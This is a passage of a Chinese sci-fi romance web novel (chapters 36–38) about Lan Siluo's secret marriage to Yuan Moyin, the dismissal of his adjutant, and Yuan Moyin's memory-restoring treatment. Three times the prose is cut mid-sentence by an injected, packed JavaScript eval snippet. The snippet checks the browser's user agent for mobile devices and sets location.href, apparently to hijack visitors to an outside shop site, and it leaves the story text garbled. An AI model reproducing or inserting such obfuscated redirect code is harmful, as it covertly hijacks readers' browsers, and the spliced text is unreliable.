优雅华丽的舞曲响起的时候,元墨洇刚好开完会,看了过来。 兰司珞按了暂停,一脸尴尬地说:“我还没学会跳舞。” 何晞偶尔会请假回家参加宴会,回来跟他炫耀自己和某某大人跳了一支舞。兰司珞觉得自己总有一天能用上,也接受过几次邀请。但舞蹈不是剑法,他怎么看都没看会。 一想到现在要露馅了,他只好硬着头皮向元墨洇交代:“我私底下偷偷找教程学过,还去宴会上看过别人跳。当然,我没跟其他人跳过舞!但是还是没有记住该怎么踩。” 元墨洇向他走来,帮他把暂停取消掉。电视剧里,男女主又开始继续跳舞,男主将女主抱起转了个圈。 兰司珞惊喜地喊道:“这个我会!” 元墨洇没有说话,只是把手搭在了他坚实有力的臂膀上。 兰司珞轻轻一抬手,便将元墨洇抱起,轻松地在空旷的厅中转了好几个圈。 停下后,兰司珞把头靠在元墨洇肩上:“我就只会这个。” 元墨洇拍拍他的肩:“我不喜欢跳舞。” 兰司珞发出一声闷闷的呜咽。 “我喜欢转圈。” 兰司珞抱起元墨洇,在房间里开出好几朵欢快的白色的花。 晚上吃过饭,兰司珞把碗放进洗涤装置里,才回到元墨洇身边。 元墨洇事务办完了,正在看一份学术报告。 兰司珞悄声问道:“可以放歌吗?” 元墨洇点了点头,于是他把耳机塞到了元墨洇耳朵里。 是一首经典老歌,叫《我以为你不会爱我》。 虽然名字听起来似乎是什么酸涩暗恋的故事,事实上这是一首秀恩爱的歌。 正如它高潮所唱那样: “我爱你爱到指尖和心脏,从高山流向黎明。 为你亲吻宇宙和蚂蚁,化作月亮和烟火。 我把爱藏在灯光下,我以为你不会爱我。 可是你找到了它,你说,你也爱我。” 兰司珞把脸颊凑过去。 这是一张主人花了大力气保养的脸,在金钱的作用下,白皙细腻,泛着微微的粉色。 兰司珞将它搁在元墨洇的掌心:“你可不可以……” 元墨洇手上稍稍用力:“我也爱你。” 兰司珞想,原来心脏真的会“嘭”的一声,化作月亮和烟火。 36. 顾元帅,您的double 才过了两天轻松的好日子,唐曼将军就发来通知,各项设备维护得差不多了,最后一次清剿行动要开始了。 兰司珞哀怨地倒在元墨洇怀里:“你怎么做得这么快呀。” 元墨洇站起身,兰司珞翻身落地,跟在她身后追上去:“你这次会来接我吗?” “不会。” “那我来接你也行,你把位置共享打开,我做完任务就来找你。” 元墨洇把自己的光屏分了一块给他,他便点开通讯软件开始操作起来。 何晞推开兰司珞的指挥室的时候,他正有气无力地趴在办公桌上,面前光屏上文字滚动,他双眼无神呆呆地看着。 何晞嫌弃地看了一眼:“兰司珞,起来干活。” 兰司珞:“我干完了。” 何晞嗤之以鼻:“就你那水平怎么可能这么快干完?” 兰司珞突然得意地坐起身来:“我水平低但是有人帮我呀。” 他这副样子看得何晞牙痒痒,想动手揍他又打不过。于是何晞压低声音,用一种恶心的语调对兰司珞说:“你别以为你傍上了那位大人就有了靠山,人家不过跟你玩玩而已,我劝你收起那些痴心妄想,还是考虑一下我们帝都星域的家族吧,至少有顾元帅撑腰,你不会被抛弃得太惨。” 兰司珞无语地看着他:“你怎么到现在都没放弃劝我去相亲?” 何晞冷哼一声:“你别以为那位大人是什么好人,你大概不知道吧,她当年可是……” 兰司珞突然高声喝道:“别说了!” 何晞却不肯住嘴,他在兰司珞的激动里获得了一份隐秘的快感:“兰司珞,该说不说你真的很蠢,她手指缝里漏点东西给你你就信?你在军团无依无靠的时候她管过你吗?你现在混出头她就来摘桃子。这你也愿意?” “我愿意啊!”兰司珞把何晞反剪双手摁在地上,“我就要做那个最大最甜的桃子!我就想被她摘!你管我!你懂什么,她是这世界上对我最好的人,我不知道在你心里是怎么诋毁她的,但你以为人人都像你一样看不起我吗?别以为我不知道,‘别人的承诺或许不可信,但元家人的承诺一定可信。’这是历史书上写的。” 旁人都只知道他恋爱脑,却不知道他曾经熬夜把《社会》和《历史》的成绩从C背到了S,只为了离那个人近一点。 何晞的侧脸被按在地板上,依然顽强地开口问道:“军团对你不好吗?” 兰司珞把他的头往下压:“你摸着良心说,军团真的对我好吗?” 何晞挣扎的动作突然缓了下来,兰司珞说完这句话也放开了手,随便往地上一坐,冷眼看着何晞一边拉扯衣服一边起身。 何晞把扣子重新扣好,才慢慢说:“军团也要考虑资源分配。” 兰司珞嗤笑一声。 何晞深吸一口气:“但是随着你逐渐晋升,分配给你的资源也逐渐增多了。你看看你现在拥有的,和你刚进军团的时候,是不是……” 兰司珞打断他:“你把我当成傻子对待了这么多年,现在是把自己也骗过去了吗?何晞,其实你心里再清楚不过了吧,要是我这个少将名副其实,我要干的第一件事就是……” 他抬眼看向刻意站起身的何晞,这么多年的军团生涯,这是何晞最喜欢的和他说话使用的角度。 他还是第一次看到何晞这么心虚地俯视自己。 何晞抿嘴:“哪个平民出身的战士不是这么过来的?” 兰司珞微微一笑。 他平日里总是笑容灿烂,却显得有些没心没肺。何晞曾无数次在私底下抱怨,希望他能成熟一些。 如今他这样从容又浅淡地朝何晞笑,明明没有温度,何晞却像是被烫到一样别开眼去。 兰司珞轻声说:“你说得对。如果我没有选择,这些苦我吃了就吃了。但是现在我有靠山了,我干嘛还要留在军团继续吃苦?” 何晞:“……你就能保证她永远都不会抛弃你?” 兰司珞:“我刚认识她的时候,机甲竞赛的奖杯、军团的荣誉,这些我都没有。从一开始我在她面前就一无所有,但她一直都比你们对我要好。” 兰司珞起身拉开指挥室的门,毫不意外地看着门外的人,声音忽然变得很委屈:“是他自作主张跑来这里乱说的,不关我的事,我真的只是想带你来看我的指挥室。” 何晞只看见一双脚朝他走来,非常简单的黑色皮鞋和白色裤子,没有任何纹路,却让他的心仿佛坠入无尽深渊。 元墨洇从何晞身旁走过,脚步没有一丝停顿。兰司珞紧跟在她身后,耀武扬威地瞪了何晞一眼。 何晞不由得重新从头到脚整理了一遍着装,这才抬头看去。 他看到兰司珞抱着元墨洇的手臂还在撒娇,而元墨洇只是微微侧头看他,银色的眼里升起一轮金色的太阳。 何晞缓缓地把右手举起,放在左胸口,维持着鞠躬的姿势说道:“对不起,我不知道您也在这里,请您饶恕我的冒犯。” 元墨洇等兰司珞在她耳边叽叽喳喳完了,才淡淡地说:“你该走了。” 何晞几乎一下子就听出来这句话里的言外之意,他直起身瞪着元墨洇:“您没有权限这样对我!我父亲是何家家主,我是第三军团的人。” 他没能得到回答,咬牙还想继续补充:“您不可以……” 不可以插手第三军团的事务,不可以越过顾元帅解雇他,不可以无视何家的脸面。 除非…… 他想到一个可能,脸色煞白地抬起头来。 元墨洇的声音平稳而淡然:“我当然有这个权限,另外,我会派人致电你的父亲。” 何晞失魂落魄地走了。 兰司珞幸灾乐祸地给他做了一个“再见”的手势,转头一无所知地问元墨洇:“只是让他离开这里,他怎么反应这么大?” 元墨洇:“他被我解雇了。” “真的?”兰司珞惊喜地松了口气,“终于可以换一个副官了。” 天知道他忍何晞多久了。刚才那些话里全是他的真心话,他这个少将要是名副其实,要做的第一件事就是把何晞赶走。 兰司珞期待地看向元墨洇。 元墨洇点开兰司珞的光脑,在通讯界面找到了她之前推送给兰司珞的周恒,发送信息:[准备就任。] 周恒几乎是立即发来了回复。 周恒:[收到!] 周恒:[链接-副官交接申请] 周恒:[麻烦兰少将抽空同意一下。] 兰司珞点开了那份申请,见元墨洇没有阻止,便放心地点了同意。 任务出发那天,兰司珞手下的战士都一脸好奇地看着他身边这个新面孔。 周恒非常让兰司珞省心,他立刻做了个自我介绍,很快就和他们打成一片。 至于那些八卦的、疑惑的、寻找何晞的目光,他看了看毫无所觉的兰司珞,想到这份工作是他辛辛苦苦准备了3年才到手的,决定装作没看见过。 元墨洇重新开启了那个大型隐身装置,唐曼依照雷达的指示依次下达命令。 毕竟是缠斗了几十年的老对手,她还是花费了两天两夜才将这些残余组织一扫而空。 终于捕获了最后一个瑟尔瓦克生物体,唐曼亲眼看着对方的信号消失在面前的指挥界面里,长舒一口气,打开军团.系统的任务列表,点击“提交任务”。 她惬意地往沙发上躺去,顺便对身旁的副官说:“写报告、指挥撤退那些事就交给你了,我要好好休息一下。” 副官无奈一笑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328561|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮她调高了空调的温度,又盖了一张薄毯:“遵命。” 帝都星域,帝都星,第三军团总部,顾琦元帅的办公室。 副官张栋在门口按响了门铃,顾琦打开门将他放了进来。 张栋行了一礼:“报告顾元帅,唐曼将军发来消息,S级任务【瑟尔瓦克】已经成功完成,相关消息将在两天后进行全星网公告。” 顾琦立刻放下手里的事务,打开任务板块进行查看,连连点头:“不错,唐曼终于完成了她的第一个S级任务,兰司珞表现也尚可,不过他还是不愿意联姻的话,培养价值就比唐曼低很多了。” 看完所有报告,顾琦发现张栋还站在原地,挑眉问道:“还有事?” 张栋露出尴尬的神色,犹犹豫豫地开口:“还有……一件事……” “干脆点。”顾琦斥责道。 “是。”张栋夹紧身体,硬着头皮开口,“是关于兰少将的事,他的身份已经自动变为了‘待定’,过两天就要从军团被转出去了。” 顾琦皱眉点开了兰司珞的个人信息:“发生什么事了?” 张栋轻咳一声:“他结婚了,对方不是帝都星域的人,按照规定,联盟将会对他进行平级调职。” 顾琦:“?” 他缓缓开口,声音低沉:“兰司珞的结婚申请为什么没有发给我审核?谁的失误?” 张栋支支吾吾:“没有谁的失误,就是……” 顾琦打断他:“那他跟谁结婚了?” 张栋用手指指了指虚空中的某个方向:“普罗米修斯星域,元家那位。” 这时,顾琦也看到了兰司珞的个人信息界面,配偶一栏端端正正写着“元墨洇”三个字。 顾琦往椅背上靠去,目光幽深地盯着张栋:“说吧,怎么回事。” 张栋咽了咽口水:“您还记得当初和元墨洇大人的研究所谈合作的时候,对方提出的两个条件吗?她们说可以以八折的优惠交易材料,前提是开通一次私人申请审批直通的渠道。” 顾琦想起来了。 当时他给普罗米修斯星域最厉害的几间研究所发送了合作申请,元墨洇的研究所给出的条件最优惠,只是多了个附加条件。 元墨洇本就是他的首选,他亦有交好的意思,况且私人申请顾名思义,只是给对方将来要做的某件私事行个方便而已,顶了天也不会出什么大事,便同意了对方的条约。 原来所谓的私事就是和他看好多年的下属结婚,怪不得兰司珞怎么劝都不肯去相亲。 张栋看着顾琦的脸色,小心翼翼地说:“兰少将的结婚审批就是走的这次直通渠道,您给元墨洇大人开了一次审批自动通过的权限,所以就自动通过了。” “有查到他们俩是什么时候认识的吗?” 张栋:“有……他们俩在帝都星中级学院就谈过恋爱,只是因为‘那件事’,元墨洇大人的消息被清除了,连带这个也被清除了。” 他没敢说,背调兰司珞的时候,因为珍辰之家的出身,派去调查的人认为没什么值得调查的,于是敷衍了事,没有查到他和元墨洇的关系。 顾琦显然也想到了这里,他的手指轻轻敲击在扶手上,面上恢复了冷静,看着张栋欲言又止的模样,抬了抬眼皮:“还有呢?一起说了吧。” “研究所那边说,她们不占我们便宜,【瑟尔瓦克】任务给我们打的折扣省下来的钱加起来刚好够抵这些年培养兰少将所花费的资源。”他声音越来越低,“也就是说,兰少将……在您眼皮子底下……被她们买走了……” 顾琦轻笑一声,锋利的目光划过光屏上的“元墨洇”三个字。 “元家的超级天才,‘当代元九针’……有意思,下次八大星域最高领导人会议,我一定要会会她。” 37. 给阿枢的礼物 兰司珞下了战舰,迫不及待打开光脑。 周恒在他身后贴心地微笑着说道:“兰少将有事尽管去办,剩下的工作交给我就行。” 兰司珞感激地拍拍他的肩,顶着周围古怪的眼神夸赞道:“我就知道你比何晞靠谱多了。” 元墨洇的通讯状态还保持着兰司珞给她打开位置共享时的样子,兰司珞点击进去,就看到上面写着【汤燧星综合医院-高级治疗室-治疗中】。 像是感应到他的注视一样,这几个字闪了几下,变为了【汤燧星综合医院-高级病房-治疗结束】。 要不是光脑手环牢牢扣在兰司珞的手腕上,光屏是悬浮在半空中的没有实体的投影,此刻二者就已经掉落在了地上。 周恒似乎在他身后温和地与其他几位负责人说话,光脑上似乎有不知道谁传来的信息在不停响起,耳畔似乎有风在低声劝慰他。 兰司珞一无所觉。 他好像变成了聋子、瞎子,什么都看不到,什么都听不到,只知道一个劲地往前跑,奋力地狂奔,直到他带着一身瑟尔瓦克的鲜血和残渣出现在汤燧星综合医院的顶楼。 兰司珞从未觉得医院的走廊竟然这么长,比他出去作战时行驶过的路线都要长。 当初他重伤被送到这里,元墨洇是不是也走过了这么长的一段路程,她那时的心情,是不是也和自己心中一样呢? 他希望是一样的,又不希望是一样的。 他想起收到任务通知那天,元墨洇那声毫不留情的“不会”。那时候的她是不是就已经安排好了治疗计划,唯独瞒着他。 为什么? 为什么要瞒着他? 为什么又不告诉他? 要是再错过一个十年,他该怎么办呢? 难道要再等一个十年?等到他们的白咪长大,等到他攒够足够的资源脱离第三军团,等到医院走廊的尽头,等到冰凉的金属把手出现在他的视线里,等到房间里的月光穿过窗户倾泻在他身上。 可他已经得到了希望,他等不下去了。 病房外好像有人在用光脑打视频通讯,兰司珞依稀听到通讯对面似乎有人问了句:“这就是那个兰司珞?” 但他无暇顾及这些琐事,他用力一拧,门轻而易举地被打开了。 病房依旧是兰司珞熟悉的布局,里面只有一张床,床上静静坐着一个兰司珞无比熟悉的身影,面前摆着一块光屏,她静静地看着,和兰司珞曾经无数次偷看过的,最熟悉的样子一模一样。 兰司珞关上门看了许久,才开口唤了一声:“元墨洇同学。” 元墨洇毫无动静。 兰司珞几步走到她的床前,将自己的脸放置在她的目光之下,用稍大一点的声音又喊了一句:“元墨洇同学。” 元墨洇的目光慢慢转到他的脸上。 这样的视线,这样的眼神,曾经深深刻在兰司珞的记忆里。让他的每一次午夜梦回,都反反复复地想要伸手触摸却又一无所获。令他这十年来一直辗转反侧、魂牵梦萦。 让他的每一次睁眼,都会因为看到那轮相似的月亮而黯然神伤。 他不可能认错,这是十年前元墨洇看他的眼神。 兰司珞闭了闭眼,极力忍下那一抹奔涌而出的潮湿,用力看向那双银色的眼眸,舌尖吐出生涩的文字:“好久不见,元墨洇同学。” 元墨洇的目光平静而淡漠,冷冷扫过兰司珞的面容和衣着,在他身上那些忘记清理的血污上停留了片刻。 她的声音也一如既往地冷淡,只是原本清冷的声线里含了一缕药物带来的低哑:“我暂时听不见。” 兰司珞眼里的难过终于奔涌而出,他用衣袖胡乱地往脸上抹去,却被元墨洇握住了手腕。 那只手没有任何力道,兰司珞却立刻停了下来。 元墨洇看了看他的衣袖上斑斑点点的蓝色痕迹,给他指了指房间里清水的方向。 兰司珞用帕子狠狠擦过自己的脸,擦得整个眼圈都红红的。 他又走到床前看了眼元墨洇,元墨洇已经重新看起了她光屏上的文件。 他扭头朝外面走去,走到一半硬生生停住,转身回到元墨洇床前,通过语音输入快速在光屏上打出一行字递到元墨洇面前:[我出去一下,等我。] 元墨洇微微点头。 兰司珞这才又走回门口,打开门,看向坐在门外的元墨枢。 元墨枢还在跟视频通讯另一端的人压低声音争辩着什么。 兰司珞听出氛围有异,往远处挪了一步,闭着眼睛靠在墙壁上,脑海中思绪翻涌。 等了好一会儿都没结束,反而整个走廊里忽然响起元墨枢愤怒的咆哮声。 “即便姐姐是绝世天才,她从小到大一直致力于研究精神力相关知识,转而研究瑟尔瓦克的生物技术也需要她付出极大的心力。 “她身体这么差,除了晚上睡不好觉,还有多年来高强度地进行研究。 “你们以为她是为了那个兰司珞?不,她是为了我! “高级学院只有在入学第一年才能申请转系,你们一直不通过,我没有办法。 “姐姐只要在今年内当上元家家主,就能越过你们两个,代表元家同意我的转系申请。 “在她接受治疗之前,她刚在我的转系申请上签字盖章。 “我跟你们说过,我不喜欢医疗系,我就要开机甲,我就要去打比赛。 “你们不同意,没关系,从今往后再也不需要你们同意了。” 元墨枢挂掉了通讯,摘掉光脑,将手环重重掷向墙壁,然后将头深深埋进膝盖里。 兰司珞默默走过去帮她捡起手环,轻轻放在她身旁的椅子上。 元墨枢闷闷的声音响起。 “按照元家的规定,完成一项S级研究可以获得代理家主的权限,完成三项S级研究就能获得家主的权限。 “你有没有想过,姐姐其实并不需要在今年完成【瑟尔瓦克】这个任务。 “如果是为了你的话,姐姐没有必要这样不顾身体地赶时间。没有人能猜到你的军阶能升这么快,姐姐和军团的交易也并不一定需要你本人来才能达成。 “就算晚了五年、十年也无所谓,姐姐就算要娶你,也并不一定非得刚好卡在这个时间完成。 “没想到吧,我也是才知道,原来这个计划一开始定在八年内,就是为了能让我在截止时间内成功转系。 “原来我才是目的,而你其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332063|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实是意外。” 元墨枢从上初级学院开始,就喜欢在自我介绍的时候加一句:“元墨洇是我姐姐。” 然后收获同龄人羡慕惊讶的目光。 虽然不亲近,但是有这样一个姐姐,她一直是骄傲的。 直到她因为元墨洇生病而被牺牲掉。 医疗系的教材很无聊,元墨枢看累了,总是不自觉地点开机甲战斗教学视频看着。 她自己那一套粉红色的机甲,被父母作为“因为乖巧听话所以赏赐下来的玩具”而留了下来。 她便将机甲放在元墨洇闲置的维修室里,元墨洇不怎么使用机甲,所以维修室虽然大,却很空旷,也没准备什么工具和材料。 她偶尔会来这里进行一下数据调整,或者心情不好的时候靠在机甲身边,跟它说说心里话。 不知道从哪天开始,维修室里渐渐多了全套的维修工具、各种型号的激光武器、最新款的虚拟战斗训练机,甚至还出现了各种颜色的机甲涂装专用油漆。 元墨枢吃饭的时候终于忍不住开了口:“姐姐,其实……这些东西给我也没有用的,我的权限已经完全被限制了。我想好啦,等我毕业以后就去你的研究所混混日子,机甲……机甲就当做一个业余爱好吧。” 元墨洇没有点头,也没有摇头。 元家人的承诺是必须做到的,因此她什么都没说。 维修室依然在源源不断地进货。 元墨枢也仿佛卸下来负担,开始真的像她说的那样,认真学习医疗系知识,只在闲暇时间摆弄一下机甲。 元墨洇给她定制了两种科目的学习计划,她也照单全收。 就这样按部就班地学习、生活下去。 总有一天,她可以骗过她自己。 【瑟尔瓦克】任务基本已经结束,研究所日益清闲。 兰司珞已经出发去做最后一次清剿任务后,元墨洇联系了元墨枢。 元墨枢赶到汤燧星综合医院。 元墨洇一边调试设备,一边对她说:“你的转系申请书,给我。” 那份心心念念的、被反复阅读又反复关闭却舍不得删除的转系申请书,转眼间就签上了元墨洇的名字,盖上了元家家主的公章。 元墨洇没再多说什么,只是发给她一份治疗方案说明:“等兰司珞回来之后给他解释一下。” 元墨枢愣愣看着元墨洇躺进了治疗仪器的治疗舱中。 她突然无比清晰地意识到,那是她的姐姐呀。 她的骄傲,她的愤懑,姐姐这么聪明,怎么可能不知道。 所以在关系最冷淡的时候,姐姐也一直暗中关注她。 所以在她失去自由的时候,姐姐告诉她不要放弃。 所以姐姐什么都没说,却什么都帮她做了。 兰司珞高大的影子覆盖住元墨枢蜷缩成一团的身影:“虽然很不甘心,但是,欢迎加入帝都星高级学院机甲系,我的直系学妹。” 半晌,元墨枢从膝盖中抬起头来,望向诊室的方向:“谢谢姐姐,也谢谢姐夫。” 元家曾为了元墨洇剥夺她的自由,她虽然不怨恨,却也不甘心。 于是元墨洇用了八年,将这份自由亲手还给她。 38. 你的家,我的家 “治疗方案就是这样。”元墨枢一边把手环重新戴回手上,一边对兰司珞说,“有点像强效治愈剂的治疗原理,把记忆重新清除一次,再按照秩序重建。姐姐十年来一直在整理记忆的次序,已经全部都安排好了,这次治疗过后,修养一段时间,就能完全恢复,包括你这个锚点。” 兰司珞却并不感到开心:“她好像并没有恢复全部的记忆。” 准确来说,是想起了之前被她清除的,却忘了后来发生的。 元墨枢继续解释:“因为记忆重建的过程中有许多细节上的问题要逐一纠正,姐姐怕后来的分析干扰她的重建进度,所以暂时屏蔽了这一段记忆。” 兰司珞想起元墨洇看向他的眼神:“那她知道已经过了十年了吗?” “知道。” “那她的听力?” “噢,我忘记说了,这个治疗有一定的副作用,具体情况姐姐也不能肯定,大概就是会偶尔失去某个感官一段时间,所以……” “我愿意照顾她。” 元墨枢撇撇嘴:“没人跟你抢,你是她的合法配偶,你不照顾谁来照顾。” 兰司珞疑惑:“什么合法配偶?” 元墨枢跟着疑惑:“你们不是结婚了吗?” 兰司珞认真地向元墨枢强调:“求婚,只是求婚了,结婚的日子我还想……这是什么?” 他盯着元墨枢递到眼睛上的光屏,那里正展示着他的个人界面,上面清清楚楚地写着几个字。 配偶:元墨洇。 兰司珞:“!” 他后知后觉地点开自己的通讯软件,无数条消息如同雪崩般扑面而来,就连十几年没联系过的初级学院的老同学和馋嘴特意加的小吃摊老板都不约而同地发来了道贺的信息。 一时间,兰司珞有了种自己向来都很受欢迎的错觉。 界面的最上方还有顾元帅的未接通讯和消息,兰司珞不敢点开,心虚地关闭了光脑。 兰司珞忽然想到一件事:“你姐姐失忆了,她现在知道我们结婚了吗?” 元墨枢摇头:“我不清楚,我在这里打了一下午通讯,还没来得及进去看姐姐呢。” 兰司珞突然露出一个亲切的笑容:“那你能不能帮我个忙?” 元墨枢狐疑地盯着他:“那是我亲姐姐!” 兰司珞:“你想到哪里去了?我的意思是希望你别告诉她说我们俩才刚结婚,你就说我们俩早就结婚了。” 元墨枢无语地看他一眼:“这种事情随便你,我什么都不说行了吧。” 兰司珞把事情打听清楚了,站起身来:“我要进去了,你呢?” 元墨枢朝他挥挥手:“我就不打扰你们啦。” “哦,对了。”元墨枢起身离开,又转过身来,拿出一个小型随身保温装置“这是今天的营养餐,两份。” 兰司珞接过,露出嫌弃的表情。 元墨枢幸灾乐祸:“看来你也吃过啊。正好你在,你陪姐姐吃吧,我要去找我家钊钊吃顿好的。” 兰司珞看了看自己脏污的衣服,又想到高级病房里根本没有烹饪装置,认命地端着手上的保温装置重新推开了门。 兰司珞洗了手,把语音输入转化的文字界面固定在元墨洇面前,这才把营养餐取出来一份递给元墨洇。 他嫌弃地说:[这是最后一次,以后我天天给你做饭,你再也不用吃这种东西了。] 想到他撒的那个谎,他又轻咳两声:[你不记得了吧,结婚之后一直都是我做饭,你再也没有吃过这些东西了。] “嗯。” 他一心沉浸在自己编织的故事里,继续找补道:[我的意思是,我们当、当初一毕业就、就结婚了,平时你都是吃我做的饭,今天因为我出任务了,才委屈你吃这个。] “我知道了。” 兰司珞一边脱掉外套钻进浴室,一边还在努力营造出一种老夫老妻的氛围感,还好语音输入不会写出他说话时心虚的语气,这才让他的文字理直气壮起来:[你快吃吧,等你治疗结束了,我们就能回家了,家里还有猫等着我们呢。] 淋浴头喷出的水烫在兰司珞身上,他调到冷水的档位,闭眼把脸埋进水花里,头脑随着身体一同冷静下来。 干净的水从兰司珞的额头流淌到地上,杂乱无章的污迹随着它一同离开。 他隔着水帘,看到了手腕上光脑显示的时间,已经是晚上9点多了,这一天很快就要过去了。 军团的效率很高,第二天,接手星系重建的团队就抵达了这里。 星空堡垒的时代即将过去,天市垣星域重新接管了这一片宇宙,并投放到拍卖会上进行开发权的拍卖。 战舰也收到了返航的通知,兰司珞去了港口,送走了昔日的战友,转头回到病房去接元墨洇。 他的私人飞船抵达还需要一定的时间,按理来说,乘坐旅游飞船中转会更快一些,但是他毫不犹豫排除了这个选项。 因此,兰司珞的飞船在两天后的凌晨才降落到他的私人星球上。 交代随行的元家工作人员去指定的地方安装治疗设备后,兰司珞拉着元墨洇的手往家里跑去。 刚进屋,就有一个白色的毛球朝两人冲过来。 兰司珞挡在元墨洇身前,将之稳稳接住,定睛一看,正对上一双圆圆的异色眼睛。一只黄黄的,像他的头发,另一只蓝蓝的,像他的眼睛,一看就是他亲生的。 [啊,是……白咪啊?]兰司珞来的路上跟元墨洇说起白咪,信誓旦旦地说它是两人养了很久的小猫咪。 所以他现在只能装作很熟的样子跟白咪打招呼,一只手随时警惕着,生怕白咪做出什么动作让元墨洇察觉到它跟他们俩是第一次见面。 白咪却不像黑咪那样不好相处,它让兰司珞摸了摸自己的角,便兴致勃勃地跳落在地上,尾巴高高竖起,不断回头看着自己的两位主人。 兰司珞把白咪抱了回来:[等等!] 他将白咪送到元墨洇怀里,对着等在门口的两位宠物托管机构成员匆匆点了个头,便抢先一步挤进了房子里,将窗帘都拉上,再将所有的灯打开。 见到兰司珞又返回门口,两位宠物托管机构成员连忙收回好奇打量的目光,微笑着简单介绍了兰司珞不在的这段时间他们的服务项目。 兰司珞看着白咪圆乎乎的模样,满意地留下对方的联系方式,承诺下次托管还找他们。 与托管人员告别后,元墨洇稍稍松手,白咪终于得到机会跳到地上,兴奋地往前跑去。 元墨洇跟了上去,兰司珞紧随其后。 二十分钟后,兰司珞表情复杂地看着白咪带元墨洇逛遍了整个庄园,宛如国王带着客人巡视了一番自己的领地。 治疗设备也安装完成,兰司珞抱着白咪与他们告别之后,白咪立刻从他怀里蹿出,沿着兰司珞的巨型地毯,快活地从茶几底下叼出一颗弹力球,放在元墨洇面前。 兰司珞看到这一幕,在白咪旁边蹲下,捏了捏它的耳朵,一言难尽地说道:[这家已经是你的了,是吧?] 白咪开心地“喵喵”了两声,追着自己的尾巴转了个圈,用嘴拱了拱那颗球。 元墨洇也蹲下摸了摸白咪的角,兰司珞殷勤地把沙发拽了过来,好让她坐着慢慢摸。 元墨洇坐下后,捡起弹力球往角落扔去,看着白咪高兴地跟着飞扑过去,忽然开口说道:“最新的《宠物法》规定,宠物享有主人一定的财产分配权。” 兰司珞张大嘴巴看着元墨洇,元墨洇低头接过白咪叼回来的球,扔向另一个地方,平静地说:“根据规定,它的分配份额就是这颗星球, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337371|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另外还有你收入的5%作为生活资金。你不在的时候,这里就是它的领地。” 兰司珞终于明白过来:[你是说,这、这个毛球,就是我们俩目前唯一的继承r、猫?] 元墨洇点点头。 兰司珞看向白咪,白咪也学着元墨洇的样子,冲他矜持地点点头。 [去休息一下吧。]兰司珞把玩得正开心的白咪抱走,无视了对方“喵喵咪咪”的抗议声,[治疗方案上说要保证每天10小时的睡眠自愈时间。] 他煞有其事地拿出了那份元墨枢发给他的文件,上面被他认真地勾画了许多圈圈线线:[因为飞船行驶的缘故,你今天的睡眠时间安排是从现在起到7:00,然后是早餐时间,食谱是附件3,附件3,附件3,啊,在这里。你先去睡觉,我研究一下怎么把这个食谱做得好吃些。] 他认真地研究起食谱来,手一松,白咪踩着他的手跳到元墨洇脚下,用尾巴蹭蹭元墨洇,踩着兰司珞的脚耀武扬威地领着人往卧室走去。 兰司珞伸手拉住从他身前经过的元墨洇的手,眼巴巴地看着她:[晚安。] 元墨洇俯下身,让兰司珞得以顺理成章地亲在她的侧脸上:“晚安。” 她向卧室走去,那些金色的发丝恋恋不舍地依次从她指尖滑落。 把研究剩下的食材放回恒温装置,兰司珞揉着肩走出厨房,上楼来到卧室门口。 他的手停在门把手上,忽然犹豫了。 元墨洇现在没有他们结婚的记忆,就算星网能证明他们是合法配偶,但他就这样进门去躺在元墨洇身边,会让她很不适应吧。 毕竟十年前,他们还只停留在拉过手而已。 兰司珞把手缩回了身边,抬脚往旁边的房间走去。 兰司珞的庄园平时只有他一个人住,连朋友也没有招待过。 他睡在刚整理出来的房间里,觉得总是睡不踏实,于是往靠近主卧的那面墙边蹭了蹭,精心挑选的隔音材料让他心里的褶皱像他怀里的被子一样越来越多。 烦躁中,他总觉得还有什么东西被他忘掉了。 他扯了扯自己的领口。 等等,领口,衣服? 他家里根本没有元墨洇的衣服,别说衣服,一件生活用品都没有。 他一个翻身滚到床边,将床头柜上挂着充电的手环抓在手里,一边挠身上的被子一边等待着通讯软件被打开。 正好元墨枢的头像旁显示出有几条未读消息。 元墨枢:[姐夫,我回了姐姐家一趟,给你寄了点姐姐的日常生活用品,你加油哦,千万别露馅。] 元墨枢:[链接-物流消息] 元墨枢:[收到后记得感谢我。] 兰司珞和被子一起在床上舒展开来。 他左手插进自己的头发里,右手不慌不忙地回复消息。 兰司珞:[谢谢!!!] 兰司珞:[为了感谢你,我决定把开学礼物提前送给你。] 兰司珞:[个人名片-余竹] 兰司珞:[这是我在军团的一位好友,和你的作战风格十分类似。我已经把你的训练录像发给她看过了,她答应了帮忙指导你今后的训练,你可以直接加她好友。] 兰司珞:[加油!] 兰司珞终于沉沉睡去。 一墙之隔,元墨洇也安静地沉睡着,白咪蜷缩在她身侧,尾巴无意识地扫过她的光脑。 